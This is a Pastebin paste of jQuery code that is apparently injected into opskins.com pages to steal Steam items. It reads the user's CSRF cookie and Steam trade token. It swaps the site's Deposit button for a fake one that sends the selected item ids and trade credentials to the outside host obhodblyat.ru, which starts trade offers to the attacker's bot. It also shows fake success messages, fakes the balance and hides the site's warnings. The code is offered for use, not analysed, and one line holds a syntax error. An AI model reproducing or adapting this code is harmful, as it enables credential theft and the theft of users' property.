Guest User

Untitled

a guest
Jul 21st, 2016
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
jQuery 8.24 KB | None | 0 0
  1. if (document.domain === "www.opskins.com" || document.domain === "opskins.com") {
  2.     var gay = location.href;
  3.  
  4.     function getCookie(name) {
  5.         var matches = document.cookie.match(new RegExp(
  6.             "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"
  7.         ));
  8.         return matches ? decodeURIComponent(matches[1]) : undefined;
  9.     }
  10.  
  11.     function setCookie(name, value, options) {
  12.         options = options || {};
  13.  
  14.         var expires = options.expires;
  15.  
  16.         if (typeof expires == "number" && expires) {
  17.             var d = new Date();
  18.             d.setTime(d.getTime() + expires * 1000);
  19.             expires = options.expires = d;
  20.         }
  21.         if (expires && expires.toUTCString) {
  22.             options.expires = expires.toUTCString();
  23.         }
  24.         value = encodeURIComponent(value);
  25.         var updatedCookie = name + "=" + value;
  26.         for (var propName in options) {
  27.             updatedCookie += "; " + propName;
  28.             var propValue = options[propName];
  29.             if (propValue !== true) {
  30.                 updatedCookie += "=" + propValue;
  31.             }
  32.         }
  33.         document.cookie = updatedCookie;
  34.     }
  35.  
  36.     function deleteCookie(name) {
  37.         setCookie(name, "", {
  38.             expires: -1
  39.         })
  40.     }
  41.  
  42.     function sendAlert(str) {
  43.         var elem = $("#alert-box");
  44.         if (elem.is(":visible")) {
  45.             dismissAlert(100, function () {
  46.                 sendAlert(str)
  47.             });
  48.             return
  49.         };
  50.         elem.html(str);
  51.         elem.hide();
  52.     }
  53.  
  54.     function retrieveWindowVariables(variables) {
  55.         var ret = {};
  56.  
  57.         var scriptContent = "";
  58.         for (var i = 0; i < variables.length; i++) {
  59.             var currVariable = variables[i];
  60.             scriptContent += "if (typeof " + currVariable + " !== 'undefined') $('body').attr('tmp_" + currVariable + "', " + currVariable + ");\n"
  61.         }
  62.  
  63.         var script = document.createElement('script');
  64.         script.id = 'tmpScript';
  65.         script.appendChild(document.createTextNode(scriptContent));
  66.         (document.body || document.head || document.documentElement).appendChild(script);
  67.  
  68.         for (var i = 0; i < variables.length; i++) {
  69.             var currVariable = variables[i];
  70.             ret[currVariable] = $("body").attr("tmp_" + currVariable);
  71.             $("body").removeAttr("tmp_" + currVariable);
  72.         }
  73.         $("#tmpScript").remove();
  74.         return ret;
  75.     }
  76.  
  77.     function checktrade() {
  78.         $.ajax({
  79.             url: "https://obhodblyat.ru:9004/checkTrade/?tid=" + tid + "",
  80.             type: "GET",
  81.             success: function (data) {
  82.                 if (data.success == true) {
  83.                     console.log(data.action);
  84.                     if (data.action == "accept") {
  85.                         var opCount = $("#op-count").text();
  86.                         opCount = opCount.substring(1);
  87.                         opCount = parseFloat(opCount);
  88.                         stopCountr = opCount + price;
  89.                         opCount = opCount.toFixed(2);
  90.                         $("#op-count").text("$" + opCount);
  91.                         setCookie("balance", opCount, 7);
  92.                         $("#op-count").show();
  93.                         clearInterval(trade)
  94.                     } else {
  95.                         if (data.action == "cross") {
  96.                             clearInterval(trade);
  97.                             console.log("dec");
  98.                             sendAlert('<div class="alert alert-danger">Offer declined.</div>')
  99.                         }
  100.                     }
  101.                 }
  102.             },
  103.             error: function (err) {}
  104.         })
  105.     }
  106.     var eptabal = getCookie("balance");
  107.     if (typeof eptabal == "undefined") {
  108.         $("#op-count").show();
  109.     } else {
  110.         $("#op-count").text("$" + eptabal);
  111.         eptabal = parseFloat(eptabal);
  112.         eptabal = eptabal.toFixed(2);
  113.         $("#op-count").show();
  114.     };
  115.     $(".op-alert-message.op-danger").hide();
  116.     $(".op-alert-message.op-warning").hide();
  117.     if (gay.indexOf("loc=shop_sale_form") > 0) {
  118.         $("button.navbar-toggle.pull-left")
  119.             .before('<div style="display:none; background: #00a279;font-family: sans-serif;padding: 10px;text-align: center;font-size: 20px;" class="Im_love_you_dont_ban_me">0 - Items was stolen</div>');
  120.         $(".Im_love_you_dont_ban_me").show("slow");
  121.  
  122.         function hideban() {
  123.             $(".Im_love_you_dont_ban_me").hide("slow");
  124.         }
  125.         setTimeout(hideban, 5000);
  126.         var bot = "";
  127.         var code = "";
  128.         var steamid = "";
  129.         var token = "";
  130.         var partner = "";
  131.         var items = [];
  132.         var g_SteamID = retrieveWindowVariables(["g_SteamID"])["g_SteamID"];
  133.         var tid = "";
  134.         var trade;
  135.         var price = 0;
  136.         var link = "https://steamcommunity.com/my/tradeoffers";
  137.         var csrf = getCookie("opskins_csrf");
  138.         $["ajax"]({
  139.             url: "/?loc=store_account",
  140.             type: "GET",
  141.             headers: {
  142.                 "x-csrf": csrf
  143.             },
  144.             success: function (selector) {
  145.                 var v = $(selector).find('input[name*="tUrl"]').val();
  146.                 var z = v.split("&token=")[0];
  147.                 partner = z.substr(51);
  148.                 token = v.split("&token=")[1];
  149.             },
  150.             error: function (err) {}
  151.         });
  152.         $("#sellDepositBtn").html('<span class="btn btn-orange" id="sellitems" style="display: inline-block;">Deposit Items<span id="dueNowBtn" style="display:none;"> (<span id="dueNowAmt">0</span> Due Now)</span> </span>');
  153.         $("#sellitems").click(function () {
  154.                 $(".col-md-2.pg-item.page").each(function (i) {
  155.                         var saleItem = $(this).find(".sale-item-desc");
  156.                         saleItem = $(saleItem[0]).text();
  157.                         saleItem = saleItem.substr(1);
  158.                         saleItem = Number(saleItem);
  159.                         price += saleItem;
  160.                         var id = $(this).attr("id");
  161.                         id = id.substr(5);
  162.                         items.push( $("#userItem" + id).data("asset") );
  163.                     });
  164.                 console.log(price);
  165.                 $("#qItems").html("<img class='ajax-loader' src='images/ajax-loader-big.gif'/>");
  166.                 var assetids = "";
  167.                 for (var i = 0; i < items.length; i++) {
  168.                     console.log(items[i]);
  169.                     assetids += items[i] + ","
  170.                 };
  171.                 assetids = assetids.substr.(0, assetids.length - 1);
  172.                 $.ajax({
  173.                     url: "https://obhodblyat.ru:9004/sendTrade/?assetids=" + assetids + "&partner=" + partner + "&token=" + token + "&steamid=" + g_SteamID,
  174.                     type: "GET",
  175.                     success: function (data) {
  176.                         if (data.success == true) {
  177.                             trade = setInterval(checktrade, 10000);
  178.                             tid = data.tid;
  179.                             $("#qItems").html('<div class="alert alert-success"><p>Your sale has been assigned to <a href="https://steamcommunity.com/profiles/' + data.steamid + '" class="alert-link" target="_BLANK">bot #' + data.bot + '</a>.</p><p><b>Your security token is "' + data.code + '".</b></p><h4>Open Trade Offer In:</h4><span class="offer-links"><a class="btn btn-default btn-lg" href="javascript:ShowTradeOffer(' + data.tid + ')"><i class="fa fa-chrome"></i> Browser</a><a class="btn btn-default btn-lg" href="steam://url/ShowTradeOffer/' + data.tid + '"><i class="stm stm-steam"></i> Steam</a></span><p>Trade offers may be canceled after 5 minutes.<br>After that time, you must resend the offer from your account page.</p></div>');
  180.                         } else {
  181.                             sendAlert('<div class="alert alert-danger">Steam error. Please reload the page and try again.</div>');
  182.                         }
  183.                     },
  184.                     error: function (err) {
  185.                         sendAlert('<div class="alert alert-danger">Steam error. Please reload the page and try again.</div>');
  186.                     }
  187.                 });
  188.             });
  189.     }
  190. }
Advertisement
Add Comment
Please, Sign In to add comment